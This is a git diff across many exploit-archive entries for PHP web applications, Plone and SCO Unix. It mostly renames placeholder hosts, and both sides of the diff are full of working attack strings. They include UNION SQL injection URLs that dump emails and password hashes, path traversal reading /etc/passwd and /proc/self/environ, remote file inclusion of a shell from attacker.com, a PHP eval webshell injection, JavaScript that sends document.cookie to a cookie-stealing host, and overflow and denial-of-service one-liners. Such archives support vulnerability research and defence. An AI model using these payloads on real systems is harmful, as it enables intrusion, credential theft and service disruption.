http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=1 <= True so the page is redirected +# - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=2 <= False so the page isn't redirected # -# - http://www.server/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=4 <= False so the page isn't redirected -# - http://www.server/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=5 <= True so the page is redirected +# - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=4 <= False so the page isn't redirected +# - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=5 <= True so the page is redirected # # [+] Demo # diff --git a/platforms/php/webapps/9398.php b/platforms/php/webapps/9398.php index 12b9b95e3..841d581cd 100755 --- a/platforms/php/webapps/9398.php +++ b/platforms/php/webapps/9398.php @@ -46,7 +46,7 @@ because the cookie-name is dependent on your browser. USAGE: -------------------------- Run this script! If there's not shown a page that prompt you to login, the attack was successful. -Then go to the ignore list: www.yourtargetserver/index.php?option=com_pms&Itemid=&page=ignore +Then go to the ignore list: www.yourtargetsite.com/index.php?option=com_pms&Itemid=&page=ignore and you will see some username and passwords in the selectbox :-) Have fun!! diff --git a/platforms/php/webapps/9430.pl b/platforms/php/webapps/9430.pl index 89a9a8db5..70ad4013f 100755 --- a/platforms/php/webapps/9430.pl +++ b/platforms/php/webapps/9430.pl @@ -106,7 +106,7 @@ sub Usage { -p Proxy, set as ip:port Example: - $0 -u=http://server -pre=jblog_ -p=127.0.0.1:8080 + $0 -u=http://site.com -pre=jblog_ -p=127.0.0.1:8080 USAGE diff --git a/platforms/php/webapps/9433.txt b/platforms/php/webapps/9433.txt index c06245c04..2cdbfc2e5 100755 --- a/platforms/php/webapps/9433.txt +++ b/platforms/php/webapps/9433.txt @@ -1,4 +1,4 @@ -==================================================== + ==================================================== | Gazelle CMS 1.0 Remote Arbitrary File Upload Vuln | My Home Page : WwW.Sec-Code.CoM | Founded By RoMaNcYxHaCkEr diff --git a/platforms/php/webapps/9447.pl b/platforms/php/webapps/9447.pl index f8faf88c2..efbe8a5a5 100755 --- a/platforms/php/webapps/9447.pl +++ b/platforms/php/webapps/9447.pl @@ -10,7 +10,7 @@ # Blog : http://evilc0de.blogspot.com # # # # [o] Usage # -# root@noge:~# perl ajpro.pl server # +# root@noge:~# perl ajpro.pl www.target.com # # # # [o] Dork # # "Powered By AJ Auction Pro" # diff --git a/platforms/php/webapps/9462.txt b/platforms/php/webapps/9462.txt index f039c52e4..6800fec6f 100755 --- a/platforms/php/webapps/9462.txt +++ b/platforms/php/webapps/9462.txt @@ -22,15 +22,15 @@ need magic_quotes_gpc = Off <-----(<> #Exploit: -http://WWW.server/inf/?options[style_dir]=../include/db.php%00 -http://WWW.server/inf/?options[style_dir]=../../../../../../etc/passwd%00 +http://WWW.Site.Com/inf/?options[style_dir]=../include/db.php%00 +http://WWW.Site.Com/inf/?options[style_dir]=../../../../../../etc/passwd%00 # ### # #---------------------------------------------------------------------------------------------------------------- - +[AB] -http://WWW.server/inf/cp +http://WWW.Site.Com/inf/cp #Exploit: diff --git a/platforms/php/webapps/9464.txt b/platforms/php/webapps/9464.txt index 35dffa370..7e2dde9b2 100755 --- a/platforms/php/webapps/9464.txt +++ b/platforms/php/webapps/9464.txt @@ -20,7 +20,7 @@ [»] [»] [»] [~] SQLi POC [»] [»] [»] -[»] [+] http://server/[path]/results.php?category=[SQli]` [»] +[»] [+] http://www.target.com/[path]/results.php?category=[SQli]` [»] [»] [»] [»] [»] [»]--------------------------------------------------------------------------------------------------------------------------[»] diff --git a/platforms/php/webapps/9470.txt b/platforms/php/webapps/9470.txt index 144e1b5a0..c3530603d 100755 --- a/platforms/php/webapps/9470.txt +++ b/platforms/php/webapps/9470.txt @@ -18,11 +18,11 @@ C0ntact :a7m@mail.com ~ Exploit ~ ===========================================|-> -File :-> http//www.server/PHPEmailManager/remove.php?ID=[SQL] +File :-> http//www.site.com/PHPEmailManager/remove.php?ID=[SQL] -Exploit:-> http://www.server/PHPEmailManager/remove.php?ID=-1+union+select+1,concat%28Email,0x3a,PasswordHash%29,3,4,5,6,7,8,9,10,11+from+php_email_man_Users-- +Exploit:-> http://www.site.com/PHPEmailManager/remove.php?ID=-1+union+select+1,concat%28Email,0x3a,PasswordHash%29,3,4,5,6,7,8,9,10,11+from+php_email_man_Users-- -Admin Login:-> http//www.server/PHPEmailManager/login.php +Admin Login:-> http//www.site.com/PHPEmailManager/login.php -:::::::::::::::::: GreeetZ:::::::::::::::::- diff --git a/platforms/php/webapps/9497.pl b/platforms/php/webapps/9497.pl index 54875a022..20846d653 100755 --- a/platforms/php/webapps/9497.pl +++ b/platforms/php/webapps/9497.pl @@ -105,14 +105,14 @@ return 0; # others files :)) ############################################################## -# http://server/feedback.php?user_id=1 << and 1=0 -# http://server/category.php?cate_id=1 << and 1=0 -# http://server/classifieds.php?productid=1 << and 1=0 -# http://server/sellers_othersitem.php?seller_id=1 << and 1=0 -# http://server/feedback.php?user_id=1 << and 1=0 -# http://server/category.php?cate_id=1 << and 1=0 -# http://server/news.php?id=1 << and 1=0 -# http://server/shop.php?id=1 << and 1=0 +# http://www.Target.com/feedback.php?user_id=1 << and 1=0 +# http://www.Target.com/category.php?cate_id=1 << and 1=0 +# http://www.Target.com/classifieds.php?productid=1 << and 1=0 +# http://www.Target.com/sellers_othersitem.php?seller_id=1 << and 1=0 +# http://www.Target.com/feedback.php?user_id=1 << and 1=0 +# http://www.Target.com/category.php?cate_id=1 << and 1=0 +# http://www.Target.com/news.php?id=1 << and 1=0 +# http://www.Target.com/shop.php?id=1 << and 1=0 ############################################################## # milw0rm.com [2009-08-24] diff --git a/platforms/php/webapps/9505.txt b/platforms/php/webapps/9505.txt index 20e980995..0ff6b796c 100755 --- a/platforms/php/webapps/9505.txt +++ b/platforms/php/webapps/9505.txt @@ -17,9 +17,9 @@ under its predefined image upload directory. This is not FCKeditor's fault, the Geeklog developers enabled the insecure configuration. Abuse works whether the FCKeditor is enabled or disabled in the Geeklog configuration. -http://##www.server##/fckeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=http%3A%2F%2F##www.server##%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php +http://##www.site.com##/fckeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=http%3A%2F%2F##www.site.com##%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php -Replace ##www.server## with the URL of the Geeklog site. +Replace ##www.site.com## with the URL of the Geeklog site. Opens an interactive browser session where you can create directories and upload files. This also exposes all the files in the @@ -52,7 +52,7 @@ The max allowable upload size is not restricted, this will depend on the web server's settings and PHP timeout value. Default location for uploads is - http://www.geeklogserver/images/Library/File/ + http://www.geeklogsite.com/images/Library/File/ Potential Abuse - Create a directory using the interactive session above under the File section. diff --git a/platforms/php/webapps/9512.txt b/platforms/php/webapps/9512.txt index 66b7cba84..77674a690 100755 --- a/platforms/php/webapps/9512.txt +++ b/platforms/php/webapps/9512.txt @@ -12,11 +12,11 @@ # Type: Remote Contents Change Vulnerability # Risk: Medium #=========================================================== -# http://server/[Path]/location -# http://server/[Path]/subnet -# http://server/[Path]/subnetmask -# http://server/[Path]/dhcp -# http://server/[Path]/machine_type +# http://site.com/[Path]/location +# http://site.com/[Path]/subnet +# http://site.com/[Path]/subnetmask +# http://site.com/[Path]/dhcp +# http://site.com/[Path]/machine_type #=========================================================== ################################################################# # test: diff --git a/platforms/php/webapps/9553.txt b/platforms/php/webapps/9553.txt index 9199d6fa4..67647d67a 100755 --- a/platforms/php/webapps/9553.txt +++ b/platforms/php/webapps/9553.txt @@ -26,7 +26,7 @@ # # # # # Exploit : # -# http://server/news.php?year=-2004+UNION+SELECT+1,2,3,4-- +# http://site.com/news.php?year=-2004+UNION+SELECT+1,2,3,4-- # # # # # Code : # @@ -35,7 +35,7 @@ # $smarty->assign('news', $newsItem); # # # # Exploit : # -# http://server/news.php?id=-1+UNION+SELECT+1,2,3,4-- # +# http://site.com/news.php?id=-1+UNION+SELECT+1,2,3,4-- # # # # # # Patch : # diff --git a/platforms/php/webapps/9563.txt b/platforms/php/webapps/9563.txt index 9b4b65a9b..34ec995ec 100755 --- a/platforms/php/webapps/9563.txt +++ b/platforms/php/webapps/9563.txt @@ -19,7 +19,7 @@ _________________________________________________________________ # # [+] SQL # -# - http://www.server/index.php?option=com_artportal&portalid=1 union all select 1,2,3,4,5,6,version(),8,9-- +# - http://www.site.com/index.php?option=com_artportal&portalid=1 union all select 1,2,3,4,5,6,version(),8,9-- # # [+] Demo # @@ -27,11 +27,11 @@ _________________________________________________________________ # # [+] Blind SQL # -# - http://www.server/index.php?option=com_artportal&portalid=1 and 1=2 => False -# - http://www.server/index.php?option=com_artportal&portalid=1 and and 1=1 => True +# - http://www.site.com/index.php?option=com_artportal&portalid=1 and 1=2 => False +# - http://www.site.com/index.php?option=com_artportal&portalid=1 and and 1=1 => True # -# - http://www.server/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False -# - http://www.server/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True +# - http://www.site.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False +# - http://www.site.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True # # [+] Demo # diff --git a/platforms/php/webapps/9564.txt b/platforms/php/webapps/9564.txt index 46cc7e38a..80c0e9cd3 100755 --- a/platforms/php/webapps/9564.txt +++ b/platforms/php/webapps/9564.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo--------------------------- diff --git a/platforms/php/webapps/9577.txt b/platforms/php/webapps/9577.txt index de9cdb903..f02c96985 100755 --- a/platforms/php/webapps/9577.txt +++ b/platforms/php/webapps/9577.txt @@ -1,4 +1,4 @@ -==================================================== + ==================================================== | Ve-EDIT v 0.1.4 Remote File Include Vulne | My Home Page : WwW.Sec-Code.CoM | Founded By RoMaNcYxHaCkEr diff --git a/platforms/php/webapps/9588.txt b/platforms/php/webapps/9588.txt index 5af4bcccb..541074b9f 100755 --- a/platforms/php/webapps/9588.txt +++ b/platforms/php/webapps/9588.txt @@ -1,4 +1,4 @@ -Mambo component com_zoom (catid) Blind SQL injection [_][-][X] + Mambo component com_zoom (catid) Blind SQL injection [_][-][X] _ ___ _ ___ ___ ___ _____ __ ___ __ __ ___ | |/ / || |/ __|___ / __| _ \ __\ \ / / |_ ) \ / \/ _ \ | ' <| __ | (_ |___| (__| / _| \ \/\/ / / / () | () \_, / @@ -28,7 +28,7 @@ Mambo component com_zoom (catid) Blind SQL injection [~] SQLi : - http://server/index.php?option=com_zoom&Itemid=0&catid=[SQLi] + http://www.TARGET.com/index.php?option=com_zoom&Itemid=0&catid=[SQLi] [~]Google Dork : @@ -42,7 +42,7 @@ Mambo component com_zoom (catid) Blind SQL injection [~] Admin Path : - http://server/administrator + http://www.TARGET.com/administrator =================================================================== = POC = diff --git a/platforms/php/webapps/9591.txt b/platforms/php/webapps/9591.txt index 4072a5d6c..f483cfc98 100755 --- a/platforms/php/webapps/9591.txt +++ b/platforms/php/webapps/9591.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| @@ -36,11 +36,11 @@ goto here and send ticket with ur upload shell - ::> http://www.server/[ path ]/ticket.php?ac=new + ::> http://www.site.com/[ path ]/ticket.php?ac=new ur shell will be here - ::> http://www.server/[ path ]/uploads/ + ::> http://www.site.com/[ path ]/uploads/ ======================================================= diff --git a/platforms/php/webapps/9593.txt b/platforms/php/webapps/9593.txt index 5f72ac89a..48d9620bc 100755 --- a/platforms/php/webapps/9593.txt +++ b/platforms/php/webapps/9593.txt @@ -19,7 +19,7 @@ _________________________________________________________________ # # [+] SQL # -# - http://www.server/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=-2%20union%20all%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 +# - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=-2%20union%20all%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 # # [+] Demo # @@ -27,11 +27,11 @@ _________________________________________________________________ # # [+] Blind SQL # -# - http://www.server/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=2 => False -# - http://www.server/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=1 => True +# - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=2 => False +# - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=1 => True # -# - http://www.server/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=4 => False -# - http://www.server/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=5 => True +# - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=4 => False +# - http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=5 => True # # [+] Demo # diff --git a/platforms/php/webapps/9599.txt b/platforms/php/webapps/9599.txt index 8ecb2f1f3..b6a738a0c 100755 --- a/platforms/php/webapps/9599.txt +++ b/platforms/php/webapps/9599.txt @@ -12,7 +12,7 @@ # Type: Arbitrary File Upload Vulnerability # Risk: High #=========================================================== -# http://server/[path]/admin/add_album.php +# http://site.com/[path]/admin/add_album.php # # choose shell # @@ -21,7 +21,7 @@ # <? your shell code ?> # # Your shell Upload Here : -# http://server/[Path]/images +# http://site.com/[Path]/images #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/php/webapps/9602.pl b/platforms/php/webapps/9602.pl index c96af895a..9dd33899f 100755 --- a/platforms/php/webapps/9602.pl +++ b/platforms/php/webapps/9602.pl @@ -16,11 +16,11 @@ # root@noge:~# perl tpdugg.pl # # # # # -# [+] URL Path : server/[path] # +# [+] URL Path : www.target.com/[path] # # [+] Valid ID : 1 # # [+] Column : username # # # -# [!] Exploiting http://server/[path]/ ... # +# [!] Exploiting http://www.target.com/[path]/ ... # # # # [+] SELECT username FROM jos_users LIMIT 0,1 ... # # [+] jos_users@username> admin # diff --git a/platforms/php/webapps/9635.txt b/platforms/php/webapps/9635.txt index b94b5a5a4..ae87a1452 100755 --- a/platforms/php/webapps/9635.txt +++ b/platforms/php/webapps/9635.txt @@ -1,4 +1,4 @@ -[+] Author : EA Ngel + [+] Author : EA Ngel [+] Location : Manado - Indonesia [+] Situs : www[dot]manadocoding[dot]net [+] Contact : engelpemula[at]gmail[dot]com diff --git a/platforms/php/webapps/9639.txt b/platforms/php/webapps/9639.txt index ddda0abaa..221f05e4b 100755 --- a/platforms/php/webapps/9639.txt +++ b/platforms/php/webapps/9639.txt @@ -9,9 +9,9 @@ download script : http://www.plohni.com/wb/content/static/Download.php?file=../p exploit : -http://www.server/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5-- -http://www.server/Image_voting/index.php?show=-7%20union%20select%201,user(),3,4,5-- -http://www.server/Image_voting/index.php?show=-7%20union%20select%201,load_file(hex directory/config.php),3,4,5-- +http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5-- +http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,user(),3,4,5-- +http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,load_file(hex directory/config.php),3,4,5-- demo : http://www.plohni.com/wb/content/php/demos/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5-- diff --git a/platforms/php/webapps/9665.pl b/platforms/php/webapps/9665.pl index cf7a8223f..191633b9f 100755 --- a/platforms/php/webapps/9665.pl +++ b/platforms/php/webapps/9665.pl @@ -16,11 +16,11 @@ # root@noge:~# perl bid.pl # # # # # -# [+] URL Path : server/[path] # +# [+] URL Path : www.target.com/[path] # # [+] Valid ID : 1 # # [+] Column : username # # # -# [!] Exploiting http://server/[path]/ ... # +# [!] Exploiting http://www.target.com/[path]/ ... # # # # [+] SELECT username FROM probid_admins LIMIT 0,1 ... # # [+] result> admin # diff --git a/platforms/php/webapps/9669.txt b/platforms/php/webapps/9669.txt index 955a20d50..fb08551c5 100755 --- a/platforms/php/webapps/9669.txt +++ b/platforms/php/webapps/9669.txt @@ -6,7 +6,7 @@ Script Downlaod http://scripti.org/indir.php?id=595 Expl0it; -http://server/file/stats.php?page='insert+into+counter+(countertitle)+values+('HackedByBgh7 tu bi gu') +http://www.target.com/file/stats.php?page='insert+into+counter+(countertitle)+values+('HackedByBgh7 tu bi gu') Bingoo ! counter name ediT =) # milw0rm.com [2009-09-14] diff --git a/platforms/php/webapps/9681.txt b/platforms/php/webapps/9681.txt index cb4789632..911324626 100755 --- a/platforms/php/webapps/9681.txt +++ b/platforms/php/webapps/9681.txt @@ -10,7 +10,7 @@ #line 15 require_once($path.'adodb/adodb.inc.php'); ######################################################################## #3xplo!t : -#http://server/[path]/libraries/database.php?path=http://attacker.com/shell.txt??? +#http://target.com/[path]/libraries/database.php?path=http://attacker.com/shell.txt??? ######################################################################## #Greetz : MyMom [alm] #Thanks 2 : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral diff --git a/platforms/php/webapps/9692.txt b/platforms/php/webapps/9692.txt index 5221d27c8..42642092e 100755 --- a/platforms/php/webapps/9692.txt +++ b/platforms/php/webapps/9692.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/9703.txt b/platforms/php/webapps/9703.txt index 16296ddee..f1142b211 100755 --- a/platforms/php/webapps/9703.txt +++ b/platforms/php/webapps/9703.txt @@ -11,7 +11,7 @@ # line 3 require ($inc_path."/voting.poll.php"); ######################################################################## #3xplo!t : -#http://server/[path]/php/init.poll.php?include_class=http://attacker.com/shell.txt/test/ +#http://target.com/[path]/php/init.poll.php?include_class=http://attacker.com/shell.txt/test/ ######################################################################## #Greetz : MyMom [alm] #Thanks 2 : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral diff --git a/platforms/php/webapps/9708.txt b/platforms/php/webapps/9708.txt index 0ae4784d3..b0b6cb5cb 100755 --- a/platforms/php/webapps/9708.txt +++ b/platforms/php/webapps/9708.txt @@ -1,4 +1,4 @@ -[#]OpenSiteAdmin 0.9.7 BETA Remote File Include Vulnerability[#] + [#]OpenSiteAdmin 0.9.7 BETA Remote File Include Vulnerability[#] ---------------------------------------------------------- diff --git a/platforms/php/webapps/9835.txt b/platforms/php/webapps/9835.txt index f5a672259..5b09a2863 100755 --- a/platforms/php/webapps/9835.txt +++ b/platforms/php/webapps/9835.txt @@ -15,10 +15,10 @@ # magic_quotes_gpc = On /\ register_globals = Off #=========================================================== # User: -# http://server/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_name from hbcms_users where id=1%23 +# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_name from hbcms_users where id=1%23 # # Pass: -# http://server/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_pass from hbcms_users where id=1%23 +# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_pass from hbcms_users where id=1%23 # # Demo: # http://www.aolinivt.com/hbcms diff --git a/platforms/php/webapps/9839.txt b/platforms/php/webapps/9839.txt index 2d67155ae..f19e9d97c 100755 --- a/platforms/php/webapps/9839.txt +++ b/platforms/php/webapps/9839.txt @@ -12,7 +12,7 @@ Vendor : http://www.achievo.org/ Scripts : http://www.achievo.org/download/ File : debugger.php include_once($config_atkroot."atk/include/initial.inc"); -Exploit : http://server/path/debugger.php?config_atkroot=<deviL> +Exploit : http://target.com/path/debugger.php?config_atkroot=<deviL> ############################################################# thenqyu : IndonesianCoder.SurabayaHackerLink.ServerIsDown.Kill-9 Don Tukulesto.KaMtiEz.Vyc0d.Arianom.Denbayan.mistersaint diff --git a/platforms/php/webapps/9840.txt b/platforms/php/webapps/9840.txt index fe3aa2d79..9cadd32be 100755 --- a/platforms/php/webapps/9840.txt +++ b/platforms/php/webapps/9840.txt @@ -12,7 +12,7 @@ Vendor : http://www.groupjive.org/ Scripts : http://forge.joomlapolis.com/projects/list_files/groupjive File : helpers.php include_once ( $absolute_path . '/components/com_groupjive/compat/array_combine.php' ); -Exploit : http://server/components/com_groupjive/helpers.php?absolute_path=<deviL> +Exploit : http://target.com/components/com_groupjive/helpers.php?absolute_path=<deviL> ############################################################# thenqyu : IndonesianCoder.SurabayaHackerLink.ServerIsDown.Kill-9 Don Tukulesto.KaMtiEz.Vyc0d.Arianom.Denbayan.mistersaint diff --git a/platforms/php/webapps/9855.txt b/platforms/php/webapps/9855.txt index 84727ff1e..048c76de0 100755 --- a/platforms/php/webapps/9855.txt +++ b/platforms/php/webapps/9855.txt @@ -34,7 +34,7 @@ uid and password hash which is as good as having the actual password. Sample JavaScript -document.write('<iframe src="http://my.cookiestealingserver/cs.php?ck=' +document.write('<iframe src="http://my.cookiestealingsite.com/cs.php?ck=' + document.cookie + '" id="myFrame" frameborder="0" vspace="0" hspace="0" marginwidth="0" marginheight="0" width="0" scrolling="no" height="0" style="visibility:hidden;"></iframe>'); diff --git a/platforms/php/webapps/9863.txt b/platforms/php/webapps/9863.txt index 2fc73ef6e..095e47080 100755 --- a/platforms/php/webapps/9863.txt +++ b/platforms/php/webapps/9863.txt @@ -1,4 +1,4 @@ -Bonsai Information Security - Advisory + Bonsai Information Security - Advisory http://www.bonsai-sec.com/research/ Multiple XSS in Achievo diff --git a/platforms/php/webapps/9876.txt b/platforms/php/webapps/9876.txt index e304f9266..3b1991fcf 100755 --- a/platforms/php/webapps/9876.txt +++ b/platforms/php/webapps/9876.txt @@ -26,7 +26,7 @@ else $wq = " aid='$arcID' "; $dlist->Init(); $dlist->SetSource($querystring); ... -# http://server/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''= +# http://site.com/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''= #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/php/webapps/9880.txt b/platforms/php/webapps/9880.txt index 266175fd4..1681c43fc 100755 --- a/platforms/php/webapps/9880.txt +++ b/platforms/php/webapps/9880.txt @@ -5,7 +5,7 @@ [*] Author: s4r4d0 [*] Mail: s4r4d0@yahoo.com [*] Team: Fatal Error -[*] Poc:http://www.server/mod.php?mod=/../../../../../../proc/self/environ%00 +[*] Poc:http://www.site.com/mod.php?mod=/../../../../../../proc/self/environ%00 [*] DEMO:http://www.trubus-online.com/mod.php?mod=/../../../../../../proc/self/environ%00 [*] SecurityReason Note : # @@ -29,3 +29,4 @@ + \ No newline at end of file diff --git a/platforms/php/webapps/9888.txt b/platforms/php/webapps/9888.txt index e36329a44..57e142fd5 100755 --- a/platforms/php/webapps/9888.txt +++ b/platforms/php/webapps/9888.txt @@ -58,4 +58,4 @@ Joke.. ;) [+] makasih buad babe and enyak .... muach .. [+] makasih buat om tukulesto yg menemani saia selalu dan enggak bosen ma gue .. hahaha -[+] gila 20 Jam duet ma tukulesto akhirnye ada hasil ^_^ \ No newline at end of file +[+] gila 20 Jam duet ma tukulesto akhirnye ada hasil ^_^ \ No newline at end of file diff --git a/platforms/php/webapps/9889.txt b/platforms/php/webapps/9889.txt index 415fca88c..51b4f763c 100755 --- a/platforms/php/webapps/9889.txt +++ b/platforms/php/webapps/9889.txt @@ -15,8 +15,8 @@ [ Software Information ] -[+] Vendor : http://www.joomlawebserver/ -[+] Download : http://www.joomlawebserver/extensions/index.php +[+] Vendor : http://www.joomlawebserver.com/ +[+] Download : http://www.joomlawebserver.com/extensions/index.php [+] version : 1.0 [+] Vulnerability : RFI [+] price : FREE diff --git a/platforms/php/webapps/9892.txt b/platforms/php/webapps/9892.txt index b8d584020..8ff552d20 100755 --- a/platforms/php/webapps/9892.txt +++ b/platforms/php/webapps/9892.txt @@ -47,4 +47,4 @@ http://www.wideskygroup.com/index.php?option=com_photoblog&view=blogs&category=- [ QUOTE ] [+] M3NW5 kemana aje lo ?? kangen nih .. hha -[+] AURAKASIH dont leave me ... \ No newline at end of file +[+] AURAKASIH dont leave me ... \ No newline at end of file diff --git a/platforms/php/webapps/9922.txt b/platforms/php/webapps/9922.txt index ba77c80d2..11f54770e 100755 --- a/platforms/php/webapps/9922.txt +++ b/platforms/php/webapps/9922.txt @@ -3,7 +3,7 @@ [0] Bug: Local File Inclusion in index.php file ! [0] Author: s4r4d0@yahoo.com [0] Team: Fatal Error -[0] Poc: http://www.server/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00 +[0] Poc: http://www.site.com/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00 [0] DEMO:http://imemc.org/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00 [0] Greetz: Elemento_pcx - z4i0n - m4v3rick - HADES - Hualdo - Derf - DD3str0y3r - Obz !!! [0] Made in Brazil - SP @@ -44,3 +44,4 @@ + \ No newline at end of file diff --git a/platforms/php/webapps/9933.txt b/platforms/php/webapps/9933.txt index 5eae9c286..f6b0336fa 100755 --- a/platforms/php/webapps/9933.txt +++ b/platforms/php/webapps/9933.txt @@ -7,7 +7,7 @@ # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir ################################################################# -# http://server/login.php?makehtml=1&chdb[htmlname]=seek.php&chdb[path]=cache&content=<?php%20@eval($_POST[s]);?> +# http://site.com/login.php?makehtml=1&chdb[htmlname]=seek.php&chdb[path]=cache&content=<?php%20@eval($_POST[s]);?> #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/php/webapps/9961.txt b/platforms/php/webapps/9961.txt index 6634973f5..aa738b6ff 100755 --- a/platforms/php/webapps/9961.txt +++ b/platforms/php/webapps/9961.txt @@ -11,7 +11,7 @@ # Type: Remote File Disclosure Vulnerability # Risk: Medium #=========================================================== -# http://server/[path]/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=127.0.0.1&s=m/&d=1 +# http://site.com/[path]/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=127.0.0.1&s=m/&d=1 #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/python/webapps/38738.txt b/platforms/python/webapps/38738.txt index 93f9f2c60..ffd6f5bf3 100755 --- a/platforms/python/webapps/38738.txt +++ b/platforms/python/webapps/38738.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to hijack user sessions and gain unauthorized Note: This issue was previously discussed in the BID 61544 (Plone Multiple Remote Security Vulnerabilities), but has been moved to its own record to better document it. -https://www.example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch \ No newline at end of file +https://www.example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch \ No newline at end of file diff --git a/platforms/sco/dos/20532.txt b/platforms/sco/dos/20532.txt index 6d40ac5bd..8bd7d5d98 100755 --- a/platforms/sco/dos/20532.txt +++ b/platforms/sco/dos/20532.txt @@ -6,4 +6,4 @@ It is possible to cause a denial of service in NetScreen Firewall. Requesting an Once the input URL is longer than 1220 bytes=A3=ACNetScreen firewall= will crash: -$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80 \ No newline at end of file +$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80 \ No newline at end of file diff --git a/platforms/sco/dos/20735.txt b/platforms/sco/dos/20735.txt index 1498b1aa4..54a4e075c 100755 --- a/platforms/sco/dos/20735.txt +++ b/platforms/sco/dos/20735.txt @@ -10,4 +10,4 @@ If properly exploited, this can yield user 'bin' privileges to the attacker. /opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpadmin `perl -e 'print "A" x 7000'` -Memory fault - core dumped \ No newline at end of file +Memory fault - core dumped \ No newline at end of file diff --git a/platforms/sco/dos/20736.txt b/platforms/sco/dos/20736.txt index 3e52f99ab..226d43958 100755 --- a/platforms/sco/dos/20736.txt +++ b/platforms/sco/dos/20736.txt @@ -10,4 +10,4 @@ An attacker may exploit this vulnerability execute arbitrary code with effective /opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpforms `perl -e 'print "A" x 7000'` -Memory fault - core dumped \ No newline at end of file +Memory fault - core dumped \ No newline at end of file diff --git a/platforms/sco/dos/20737.txt b/platforms/sco/dos/20737.txt index afcbab1f8..d9ec29504 100755 --- a/platforms/sco/dos/20737.txt +++ b/platforms/sco/dos/20737.txt @@ -9,4 +9,4 @@ An attacker may exploit this vulnerability to execute arbitrary code with effect 